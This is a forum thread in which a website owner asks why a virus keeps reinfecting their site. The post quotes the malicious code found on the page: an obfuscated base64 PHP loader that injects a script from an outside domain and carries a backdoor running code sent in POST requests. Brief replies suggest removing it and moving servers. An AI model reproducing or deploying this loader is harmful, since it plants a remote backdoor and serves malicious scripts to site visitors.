the virus infects my site again and again

hello
my site is infected with a virus which closes my site when open it due to a php script which i discovered its code in the top of my page when i checked my site in c panel the code is

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZHhlbScpKXtmdW5jdGlvbiBkeGVtKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJ4dmRXbHphV0Z1WVdwaGVucGpiSFZpTG01bGRDOXVaWGR6YVhSbEwyMTFjMmx4ZFdWelgyRnBiR3hsZFhKekxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBkeGVtMigkYSwkYiwkYywkZCl7Z2xvYmFsJGR4ZW0xOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRkeGVtMSkpY2FsbF91c2VyX2Z1bmMoJGR4ZW0xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdkeGVtJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZHhlbScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRkeGVtbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZHhlbTInKSkhPSdkeGVtMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

and when i check ths source of my site using firefox
i see that php script

</head><script src=http://louisianajazzclub.net/newsite/musiques_ailleurs.php ></script>

which is strange to my site when i deleted the long code above nothing changed and the site began to lose visitors because google has reported my site to harm computers

 

Why don't you remove that and ask for a re-inclusion request from GWT?

 

Change UR Server..best Decision..